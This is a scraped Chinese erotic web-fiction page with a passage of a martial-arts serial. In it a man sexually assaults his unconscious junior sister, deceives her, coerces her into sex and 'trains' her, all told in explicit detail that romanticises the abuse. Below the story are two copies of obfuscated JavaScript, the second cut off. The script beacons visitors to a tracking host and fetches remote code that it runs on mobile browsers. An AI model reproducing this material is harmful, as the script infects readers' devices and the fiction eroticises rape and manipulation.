一股又腥又白的精液射满了郝嘉的阴部,并打湿了干净的床单,风正吟倒在郝嘉的身旁,还在细细回味那最后的快感。郝嘉的身体又开始蠕动,风正吟立刻回到现实,郝嘉怕是很快就要醒了,换床单已经来不及了,风正吟马上爬起,用一件衣服胡乱地擦着郝嘉的阴部和床单,然后把衣服藏到床底,又迅速把裤子穿起,用大氅把郝嘉的身体裹好,又用薄被盖上。

风正吟定了定神,把老妇人做好的米饭端到郝嘉的身边,“师妹,师妹!”像一个体贴的大哥哥,轻轻唿唤着郝嘉。

也是风正吟的运气该来,就在这个时候,郝嘉睁开了双眼。

(五)

“师哥,我这是在哪啊?”郝嘉的话一出口,就马上回忆起几个时辰前恶梦般的一幕,“啊……”一声惊叫,郝嘉发觉自己身上的大氅以及大氅里一丝不挂的身躯。郝嘉还感觉到身下有一种湿漉漉的感觉,虽然她不知道那是怎么回事,但她知道肯定不会是什么好事,“我被那恶贼侮辱了”的念头一闪过,羞愤难当的郝嘉“哇”的一声,放声哭了起来。

“师妹,没事了,没事了,我已经给你报仇了,那恶贼已经被我刺死了。”风正吟放下米饭,像大哥哥一样,握住郝嘉的手,好生抚慰郝嘉,过了好一阵,郝嘉才稍微平静了一点。哽咽道:“那……恶贼,已经……死……了?”风正吟点点头,郝嘉微微抬起身子,把大氅拉紧一些,环顾四周,“那,李义师哥呢?他……出去了吗?”

“你风师哥没用,没有能帮助大师兄,他……已经遭到恶人暗算,先走一步了。”

郝嘉平静地倚靠在床上,任由泪水从美丽的面庞上流下,喃喃自语:“大师哥,我对不起你……爹……娘,我对不起你!”

“师妹,别难过了,你先把这些衣服穿上,我们现在还在危险中,等会我再事情全盘告诉你。”说罢,风正吟很君子般把衣服递到郝嘉手中,然后出房门把门带上,在院子里背向房门站立着。

好一会,郝嘉穿好衣服,摇摇晃晃把门打开:“风师哥,你进来吧。”风正吟一看,虽然没有侠女的英姿风范,但活脱脱的一个雨打梨花般的美丽村姑。

走进屋里,风正吟便把事情经过原原本本地向郝嘉叙述一遍,只是他隐瞒了两个重要情节,一是他没有说出杀死两位老人的事情,而是说一来屋里便没有主人,衣服及米饭是他自己找和做的,二是风正吟没有说出在郝嘉未醒之前已被风正吟大肆轻薄一番的经过。在谈到郝嘉在天龙帮大厅里被海天龙侮辱的时候,风正吟虽然极力措词委婉,但没有漏下丝毫情节,他有意要打击郝嘉骄傲的个性及自尊,郝嘉听得脸色一阵苍白一阵红晕,羞涩惭愧得想要往地里钻。

“风师哥,快别说了,”郝嘉低着头,小声说:“都怪我没有听你的劝告,才遭贼人毒手……那我们现在怎么办?回家吧,我不去武当山了,好不好?”

风正吟心里一阵冷笑,表面上轻叹一口气,站起来度步,慢慢道:“师妹,武当山肯定不能去了,我们的礼品都丢了,再说,以我们现有的情况,路上再出什么危险,谁也没有回天之力;武夷山也不能回了,师妹,你想,平之道长是师傅最尊敬的人,他的生日武夷派没有祝寿,师傅肯定没有面子,还有……师妹在天龙帮遭劫的事,要不了多久,必定传遍江湖,你想,你爹娘在江湖中倍受大家尊敬,要是知道了这件事情,会怎么样,会对你怎么样?”

郝嘉听了,有如五雷轰顶,半晌说不出话来,风正吟的话提醒了她,要是回去,郝嘉还有何面目面对自己的爹娘?“那怎么办哪?”郝嘉无助地掩面痛哭起来,任柔弱的双肩抖动着。

“别哭了。”风正吟搂住郝嘉的双肩,用手轻捋郝嘉的秀发,竭力抚慰着:“天无绝人之路,我们先离开这里,暂时躲避一阵,等师傅师娘气消了,我们再回去,好吗?”

“那你不会离开我吧?以后只有你可以帮我了。”

风正吟温柔地把郝嘉搂在怀里,叹了口气道:“怎么会呢?有我在就有师妹在,我们命里注定要绑在一起过的。”

早在风正吟轻薄郝嘉的时候,心里就做出决定,与其回去受责骂,不如骗这个尤物和自己一起过一段神仙日子,哪怕短暂,也在所不惜。就这样,风正吟与郝嘉开始过上了江湖流亡的日子,为了掩人耳目,二人以妇女相称,躲进了伏牛山,过起了男耕女织的生活。

郝嘉毕竟是个女孩,遇事没有主见,虽然她的武功还在风正吟之上,但这段日子她完全听从风正吟的所有安排,过去骄傲的个性在一连串的打击之下,早已收敛殆尽,内心的伤痛成了她自卑的顽疾,因为感谢风正吟的救命之恩,有的时候,郝嘉也觉得风正吟在貌似长辈或兄长的安抚有些过份,但也不以为意。随着时间的流逝,郝嘉的面色渐渐红润起来,简陋的布衣掩盖不住逼人的青春气息,性格也变得逐渐活泼起来。风正吟看着自己的计划一步一步顺利实现,心里不仅暗暗得意。

一个月以后初秋的一天,正在洗衣的郝嘉突然看见风正吟扛着一匹死狼浑身是血地踉踉跄跄地走进院来,然后软倒在地,昏迷过去。

“风师哥,你怎么了?”郝嘉慌忙把他扶到床上,用热手巾给风正吟擦脸,一个劲地唿唤风正吟。

好一会,风正吟苏醒过来,艰难地说:“师妹,我在打猎的时候,遇上了群狼……”郝嘉哭了起来:“师哥,都是我不好,让你受苦了。”

“傻妹妹,尽说傻话,让妹妹过好日子,是师哥应该做的。”郝嘉想了想,然后让风正吟躺好,拿出一个大盆子,倒上热水,轻轻把风正吟的破烂不堪的血衣换下,用手巾为风正吟擦身。虽然风正吟年龄大过郝嘉许多,而且相貌丑陋,但毕竟是男子的身躯,郝嘉擦着擦着,脸颊红了起来。

这当然是风正吟设下的局,群狼是假的,受伤也没有那么严重。看看时机成熟,风正吟一把把郝嘉揽在裸露的怀里。“师哥,不要啊!”郝嘉马上挣扎,可看到风正吟痛苦地一咧嘴,郝嘉又不忍心刺激他的伤口,脸红得像早上的太阳,郝嘉不知道怎么办才好。

风正吟用力抱着怀里的郝嘉,喃喃地说:“师妹,嘉儿,不要离开我,不要拒绝我……你知道吗?这两三年,我每天都在想着师妹,我要一辈子和嘉儿在一起……”感觉到郝嘉的力气渐渐无力,风正吟把郝嘉搂得更紧了,并用嘴开始轻吻郝嘉的额头,并用手轻轻抚摸郝嘉的背。

郝嘉像喝醉了酒一样,身体瘫倒在风正吟的怀里,两手无力地推着风正吟:“不要,师哥,不要……嘉儿身体脏……”紧闭的双眼流淌出两行热泪。

“嘉儿,没有人能够玷污我心目中的嘉儿,嘉儿在我的心目中,永远是纯洁的……”风正吟吻上郝嘉的红唇,吸吮着那无尽的甘甜。不知是感激还是感动,郝嘉的反抗渐渐无力起来。

风正吟一边狂吻郝嘉,一边用手轻轻抚摸着郝嘉的胸部,郝嘉的身体震动一下,略为挣扎了一下,便平缓下来,只是胸脯更加激烈地起伏。风正吟的一只手完全覆盖了隔着衣服郝嘉的乳房,轻轻地抚捏着,感受着难言的温柔。一会的工夫,风正吟战抖的手开始解开郝嘉的衣襟,轻轻拉起郝嘉的亵衣,把安禄山之手伸进向了郝嘉裸露的雪白肌肤。

郝嘉依然像喝醉了酒一样,她用手轻轻去拉风正吟的魔手,却一点力气也没有。风正吟把郝嘉在床上放正,一边继续挑逗郝嘉,一边把郝嘉的外衣和亵衣轻轻脱下,还是处女的郝嘉一对洁白晶莹、圆润坚挺、含苞待放的乳房一下子暴露在风正吟的眼前,两个晶莹可爱、娇嫩无比的乳头羞答答地向风正吟挺立着,乳头周围淡粉色的乳晕像一双无形的手,抓扯着风正吟的心,屋内淫亵的气氛逐渐浓烈起来。

风正吟用身体压住还没有完全失去反抗的郝嘉,继续用嘴封住郝嘉的双唇,一只手通过郝嘉温热的小腹,滑向少女的神秘禁地,隔着裤子抚摸郝嘉的大腿根部。毫无男女调情经验的郝嘉美丽的花靥上丽色娇晕,羞红无限,只能不知所措地夹紧大腿,不让风正吟更深一步发展。

可是快要跳出的芳心却体验到一种从来没有体验过的滋味,一方面慌乱、紧张,像做了一件天大的错事,另一方面又有一种快要失禁的快感,红唇本能张开想叫,而风正吟却乘虚启开郝嘉的玉齿,把舌头伸进女孩的檀口去探索郝嘉的香舌。郝嘉本能地轻咬银牙,不让风正吟的舌头得逞,可架不住风正吟在郝嘉大腿根肆意活动的魔手,最终还是羞羞答答、含娇怯怯地分开玉齿、丁香暗吐,风正吟乘机卷住郝嘉欲拒还迎的香舌,品尝甘甜的琼浆玉液。

看着郝嘉渐渐沉浸在初次体验的情欲当中,风正吟悄悄抬起身子,解开郝嘉的裤带,在郝嘉紧张地颤栗中,风正吟解除了郝嘉的最后一丝束缚。

郝嘉那像初生婴儿般洁白透明、嫩如凝脂、幽香清丽的下身毫无遮掩地展现在风正吟面前。可爱的肚脐下面一蓬稀疏柔细的阴毛含羞乍现,柔嫩雪白的大腿根紧紧夹遮住了阴毛下的春色,直把风正吟看得血脉喷张,坚挺的下身简直快要突破衣服的束缚,风正吟马上坐起,用最短的时间脱去身上所有衣物,一根丑陋粗大的阴茎跳出了牢笼,跃跃欲试地敲击着郝嘉柔滑紧绷的肚皮。

郝嘉柳眉微皱,丽眼紧闭,一只纤纤玉手掩盖两团雪白的乳房,另一只手则挡住咋现春光的私处,风正吟暗暗一乐,俯下身去,从郝嘉的玉颈开始,大嘴逐步向下吻去,用头把郝嘉的手挡开,在郝嘉雪白柔软的胸脯上大肆探宝,他用牙齿轻轻咬住郝嘉娇软柔小的乳头,温柔舔吸一阵。然后一路延伸,和篱篱芳草嬉戏逗弄一番,最后把舌头伸进郝嘉潮润滑腻的阴户。

“师哥……不要……那里……好脏……”郝嘉慌乱地用手想要推来风正吟的头,却又软弱无力地抓住风正吟的头发,两腿想要扭摆,却一点儿力气也使不出来。

风正吟没有理会郝嘉的哀求,他不断地用舌头进攻郝嘉无法遮掩的阴唇,耐心等待郝嘉的最后投降。其实风正吟并不是风月老手,甚至这是他第一次真正与女性交欢,但知道,对付郝嘉不可硬来,否则郝嘉要是翻脸,风正吟一点办法也没有,他要的是郝嘉的心,而不是简单的郝嘉身体,否则以风正吟的心计,强奸郝嘉也用不了漫长的一个月。

风正吟用跪着的两腿略略分开郝嘉的大腿,舌头终于陷入郝嘉的处女禁地,他在郝嘉微微隆起的阴阜下找到少女最敏感的柔嫩阴蒂,开始一深一浅地耐心攻击。少女的肉洞渐渐湿润起来,散发出微微香甜酸涩的味道。

“啊……”郝嘉终于忍不住开始娇吟,从来没有过的快感迅速吞噬着郝嘉每一处神经,同时她也为自己从来没有过的感觉感到不安,羞红的面庞不安地左右扭动,不知道该怎样才好。

风正吟无法再等了,他把郝嘉的身体分开,暴涨的阴茎开始上下摩擦郝嘉已经湿润的阴唇,微微挤开郝嘉两片柔嫩的阴唇,温柔而又霸道地向前慢慢挺进,处女紧密的温暖,给了风正吟无法言传的快感,在感觉到郝嘉阴道里温柔的抵抗时,风正吟知道,郝嘉马上就要真正成为自己的女人了。

“慢……一点,师哥,嘉儿痛……”

郝嘉的眉头开始紧锁,她觉得下身的侵犯越来越严重,自己柔嫩的阴道已经无法承受了,她想推开风正吟,身体开始扭动,想摆脱风正吟的侵犯,可风正吟突然一用力,肉棒已经突破的处女膜,贯穿了郝嘉的整个阴道。

“啊!”郝嘉惨叫一声,痛得差点昏了过去,额头上汗水已经把枕头打湿,泪水止不住往下流,她知道,自己的处女时代已经一去不复返了,从今以后,她就是风正吟的人了,郝嘉说不上是失落还是疼痛,她无法抑制地得哭了起来。

(六)

虽然风正吟从来没有真正尝过女人的滋味,也不知道身下少女的秘道已经是人间极品,但郝嘉温暖柔嫩的阴道给了他从未体验过的酥爽,他终于明白了人活一世真正的快乐是什么。他用力而又笨拙地抽送着,很快一阵麻痹的快感冲进大脑,他射了,射进郝嘉的阴道深处。毫无云雨经验的风正吟,一下子倒在郝嘉的赤裸的娇驱上,浓浓的睡意使他抚慰一下身下少女的力气都没有,就已经唿唿地睡着了。

而刚被撕裂处女膜的郝嘉,疼痛、失落、风正吟的重负以及后怕使她完全没有体会到男女情欲的快乐,她不明白一向疼爱她的师哥为什么要使她如此痛苦,她一把将风正吟推在旁边,想爬起来去清理污浊不堪的下身,但一阵剧痛又使她“啊”了一声,便失去了所有力气。

郝嘉这才看清自己身下的鲜血已经在白色的床单上印上了像手掌般大小的印记,像一朵鲜艳盛开的牡丹,郝嘉的眼泪止不住又流了下来,她看着身边这个夺去她处女宝的男人,心情复杂难以言状,他已经不再是她的师哥,而是她今后一辈子要跟随的人,虽然风正吟相貌丑陋,脸上也刻满沧桑,毕竟是主宰她未来幸福的人啊。

郝嘉叹了口气,拿起身边的被单,轻轻盖在风正吟的身上。然后艰难地爬下床,清理完毕,穿好衣服,回到风正吟的床边,把头枕在床边,继续她少女式的哭泣,慢慢地也进入了梦乡。

……

醒来以后的风正吟自然是千般殷勤地抚慰郝嘉,而破罐子破摔的郝嘉毕竟年少,不会记仇,不久便把风正吟真正当做自己的夫君。刚刚尝到情欲滋味的风正吟也自然经常向郝嘉求欢,刚开始郝嘉也只是为了满足风正吟的欲望,久而久之也尝到男女共渡爱河的美妙滋味,逐渐学会配合风正吟的要求。

郝嘉的脸色慢慢变得红润起来,原来飒爽英姿的少年女侠,现在更加丰腴水嫩,浑身充满了诱惑的魅力,美丽的双眼已经出现流盼之色,郝嘉变成了一个出奇美丽的少妇。

从下人出身的风正吟的心理别提有多满足了,天鹅肉有什么了不起,我风正吟照样大吃不误。长期压抑的变态心理使风正吟开始慢慢调教郝嘉,他要把郝嘉调教成一个对他百依百顺的女人。

起初风正吟只是要求郝嘉有时在屋内穿亵衣亵裤,为他做饭洗衣,最后再把郝嘉的衣服彻底扒光,共渡巫山云雨,风正吟就是喜欢看郝嘉羞涩难耐的俊俏模样,然后把郝嘉抱在怀里玩弄郝嘉的乳房和阴道,最后在风正吟的男根下婉转求欢。

反正也是在人烟稀少的深山,最后风正吟干脆要求郝嘉在屋内一丝不挂,他喜欢随时看着郝嘉白嫩微微摇动的乳房,洁白修长的大腿以及郝嘉时隐时现娇嫩诱人的阴部,也方便风正吟随时提枪上马。

刚开始郝嘉觉得风正吟的要求不可理喻,时间一长,郝嘉觉得夫妻之间这可能也是平常之事,同时也为风正吟如此迷恋自己的身体感到自豪,有时候仔细想一想,郝嘉都会脸红,自己怎么会变得如此淫荡啊?

可是看着风正吟一副渴求的样子,郝嘉就心软了,只不过郝嘉一定要风正吟亲自为自己宽衣解带才肯依从,毕竟郝嘉事名门闺秀出身呀,骨子里还是觉得淫荡是令人羞耻的事情,哪怕是夫妻之间。

看着郝嘉一步步地就范,风正吟的心里就像喝了六月的雪水,别提有多畅快了,他的调教计划还在逐渐升级。一天他甚至提出郝嘉一丝不挂和他一起在院里练剑,郝嘉也觉得风正吟有些过份,但在风正吟苦苦哀求下,郝嘉的心里也有点觉得刺激,也就默默不语了。

风正吟的心里乐开了花,他几下就把自己衣服脱下,又一把把郝嘉揽在赤裸的怀里,张开大嘴就去寻找郝嘉的红唇,可郝嘉已经羞涩地把头埋在风正吟的怀里,说什么都不肯把头抬起来。风正吟不管三七二十一,几下便把郝嘉单薄的衣衫扯个精光,然后把郝嘉抱起来去拿剑。可是郝嘉还是不肯抬头,为了平衡,双腿不得不紧紧夹住风正吟的腰间,双手也紧紧搂住风正吟的脖子,像个在父亲怀里撒娇的孩子。

来到院里,见郝嘉还是不肯下来,风正吟就说:“好妹妹,下来吧,听话。剑不可一日不练喔,这是师父教的。”

郝嘉这才抬起红红的脸庞,嘴里嘟哝着:“可是师哥欺负人家……”

“这怎么是欺负你呢?你想想,外面天那么热,练剑又那么辛苦,出一身的汗,又不舒服又要洗衣服,师哥是为你着想呢!”

“哼!尽花言巧语骗人,我还不知道你在想什么,就是想……欺负人家嘛!不过,就这一次,不准再有下一次哦!”说完,郝嘉的脸又红了。

“好妹妹,我都听你的!”风正吟心里直想笑,下次,只要哄一下,郝嘉哪有不听话的?可风正吟没有说出口。郝嘉这才肯从风正吟身上下来,她一手拿着剑,一手遮住羞处,娇娇地道:“那你不准盯着我看,否则别怪我的宝剑不认人!”

“当然当然,你快开始吧!”风正吟猴急地催促着。

郝嘉这才拿着宝剑慢慢地舞动起来,下午的太阳是那样的耀眼,把少女赤裸裸的身体照耀成白色的一团,那亮晃晃的宝剑,乌黑飘洒的长发,圆白粉嫩的手臂,微微颤动的雪乳,粉红小巧的乳头,纤细灵活的腰肢,妙曼修长的大腿,稀疏飘动的阴毛,甚至若隐若现的阴唇,简直绘成了一副香艳无比的满园春色舞剑图,它足可以使世间任何形式的艳舞黯然失色。

实在太精彩太诱惑了,风正吟在一旁看到发呆,凶猛的阴茎又开始抬头,坚硬无比地指向郝嘉,胀痛得快要爆裂了。嘴里喃喃自语:“天哪!没想到,师父教我们多年的武夷剑法原来是那么好看!”

郝嘉当然也发现风正吟的失态,她娇羞地一笑,嘴里骂了一句:“坏师哥!干吗老盯着人家看嘛!”然后把身子背对风正吟,继续舞动武夷剑法。这一转身不要紧,把整个雪臀暴露给了风正吟。

经过风正吟爱的浇灌,郝嘉的雪臀已经变得丰满起来,但因为习武,臀肉并没有下坠,相反一直像少女一样微微翘起,在郝嘉舞剑的时候,两团俏丽的丰臀一翘一扭,让风正吟看得两眼昏花,色急攻心。应了现在一句话:是可忍,熟不可忍。风正吟无法再克制自己,他挺着笔直的大阴茎,对着郝嘉就扑过去。

可是郝嘉的后背就像长了眼睛一样,一闪身就躲了开去,然后继续背对风正吟继续舞剑,风正吟又一扑,还是落了空。要论武功,风正吟并不拿手,急得他满头大汗在后面紧追不舍,郝嘉则咯咯笑了起来,就是不让风正吟挨近。

风正吟灵机一动“哎呀”一声,然后倒地不起,郝嘉吃了一惊,急忙把剑丢下,反身去抱风正吟:“师哥,怎么了?”风正吟趁机跳起,一把将郝嘉抱住,一口便向郝嘉的乳房啃去。

郝嘉急忙挣扎,用手敲打风正吟的胸脯,两腿乱蹬道:“师哥,真坏,又骗我!”可风正吟不管那么多,他渐渐把郝嘉举高顺着郝嘉的乳房一路啃下去,细细品尝郝嘉的香汗滋味,然后突然把郝嘉倒起抱住腰,把头伸进少女的两腿间,一口包住少女稚嫩的阴户,二话不说,舌头便伸进了郝嘉幽长的禁地。

“啊……”郝嘉一下子跟噎住一样,什么话也说不出来,全身一下子软得像水一样。

少女刚刚运动过的阴道散发着较浓的酸涩滋味,这对于风正吟来说,简直就是琼浆玉液,他贪婪地吸吮着,搅动着,不多久,郝嘉便发出了娇喘声,嘴里无力地呻吟着:“哥,抱我……进去……”

风正吟管不了那么多了,他把郝嘉轻轻放在草地上,用手挽起郝嘉的双腿,粗壮的男根凶猛地挤进了郝嘉已经是淫水潺潺的阴道……

(七)

如果不是郝良的突然出现,风正吟和郝嘉也许会在伏牛山谷平静而又快乐地过下去,但是世事无法预料。

一个月以后的一天,风正吟从外打猎回来快到家门的时候,赫然发现身边的草地上出现杂乱的脚印,风正吟吓呆了,因为这明显是具备轻功的男人的足印,在这荒无人烟的深山里,谁会突然造访呢?

风正吟悄悄摸近草房,猛然听见郝嘉哭泣地哀求声:“爹,我不回去,让我和风师哥在一起吧……”紧接着听见师父的怒骂声:“把你们师妹给我押回武夷山,我清理完门户就来……”

风正吟一直极力回避的场面终于出现了,他的脑海里一团乱麻,几秒钟以后他拔腿就跑,往哪跑他不知道,但知道要是被师父抓到,九死一生将在所难免。

可是跑了几里路,前面突然闪现出师父的身影,郝良阴阴地笑着:“你以为几个月不见你就会飞吗?”

风正吟返身又跑,这下慌不择路,跑到一个悬崖峭壁的绝路上,风正吟心里暗叫不好,一回身,发现师父已把退路堵死了。

“师父……”风正吟一下子跪倒在地上。

“你也配叫我师父?我们武夷派没有你这种败类!你把武夷派的脸都给丢尽了!丢失礼品、对师兄见死不救、诱奸师妹,随便哪一条都是死罪,谅你在武夷学艺一场,今天我就赏你一个全尸,接招吧!”说完,愤怒已极的郝嘉抬手就是一招“威风拂面”,强劲的掌风凌厉地向风正吟冲来。

这是武夷派的杀招,“我命休矣!”风正吟本能地运掌抵抗,可是双方的功力相差甚远,只听“砰”的一声,风正吟立刻就昏迷过去,身子像断了线的风筝一样,向无底深渊坠落下去……

……

也不知过了多久,全身难以描述的剧痛使风正吟渐渐地苏醒过来,还没有睁开双眼,风正吟就觉得血气翻涌,头晕目眩,“哇”的一口鲜血便喷满了全身。耳旁嗡嗡直叫,一个极阴的声音钻了进来:“你小子真是命大,身中一掌,又从这么高的地方摔下来竟然不死,嘿嘿,真是天意、天意啊!”

风正吟全身跟散了架一样,他忍着剧痛,嘴里呻吟着,尝试着想坐起来,但很快便放弃了企图,他艰难地睁开双眼,看见旁边竟然是一个男首巨型怪鹰,头搭在地上,早已死去,在怪鹰的旁边,盘坐着一只女首巨蛇,身子足有水缸那么粗,长度不少于十丈,两眼阴森地看着自己,从来没有看过这种场面的风正吟,一下子便又昏倒在地。

等风正吟悠悠转醒的时候,他发现自己没有那么痛了,自己竟然躺在怪蛇的身上,他强压住自己的恐惧心理,颤声问:“我……这是死了吗?”

女首巨蛇阴阴地笑了起来:“死?怎么可能?如果你都死了,那我千年蛇妖多年的功夫岂不为人耻笑?告诉你吧,我千年蛇妖要救的人,就是死人也可以站起来。”

风正吟挣扎地爬起来,跪倒在千年蛇妖身边:“感谢蛇婆婆的救命之恩!”

“起来吧,你也帮了我的忙,要不然,我怎么可能救你这么一个臭小子?”

“请婆婆赐教。”

“你看到旁边那个死鹰没有?它就是千年神鹰,我跟它有几百年的过节了,前两年我杀死了它在人间唯一一名弟子,它就天天想着和我拼命,今天刚好是我们决斗的日子,在我们内力都要拼完的时候,你这个臭小子从天而降,将这个贼鹰压死,使我终于可以看到贼鹰的下场,也算解我心头之恨了。”

“惭愧……”

“别酸不拉几的了,你小子也是命大,要不是压在贼鹰的身上,看到它身下的岩石没有?你有多少个脑袋也不够碰的。”说完,千年蛇妖叹了口气,接着又道:“也是你我有缘,我的内力完全耗完了,最多也只有两个时辰的命,我就收你为我毕生中唯一的一个弟子吧,也算是我千年蛇妖的香火不断,还不快行拜师礼?”

风正吟不知道拜这个可怕的蛇妖有什么用处,但他知道现在自己的小命还在蛇妖的手里,千万不要得罪它才是最佳选择,风正吟二话不说,叩首在地:“师父在上,受弟子一拜!”

千年蛇妖转过身去,对死鹰怪笑着:“嘿嘿,你没有想道最后还是我找到衣钵传人了吧!”然后回头阴森森地对风正吟说:“你自己还不知道吧,我刚才给你把了脉,你的经脉已经基本摔断了,要不是遇到我,你将来只能是废人一个。等我死后一个时辰之内,你把那贼鹰的心和我的心混合服下,你所有的经脉将不治而愈,并且你将拥有你们人类难以拥有的内力和轻功,你只有拥有这种内力轻功才能爬上这峭壁,去大展宏图。”

风正吟忍者浑身剧痛,不断地向蛇妖叩首:“师父还是杀了我吧,就是死,我也不能服用师父的心。”

“迂腐!死都死了,要一副躯壳又有何用?你不但要吃我的心,还要把我的皮扒下晾干,这样你才能看到《九蛇真经》。这个经书是我们蛇妖的圣宝,它没有什么出奇的高招,但是有了它,加上你的内力,你可以在七天之内,成为天下第一高手,因为它可以使你身体潜能充份发挥,感知对手出招的来路,并本能做出应对,也就是说,它是天下所有武功的天敌,你说普天之下,你还怕谁呢?”

“谢谢婆婆恩赐,只是弟子不知道此生该如何报答婆婆。”

“ 放大文字 缩小文字 这文很赞(0) 一般般啦(0) 收藏此文(0) 分享此文


上一篇:与中学先临盆生关系,又爱了她的女儿

下一篇:性发蒙?


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var 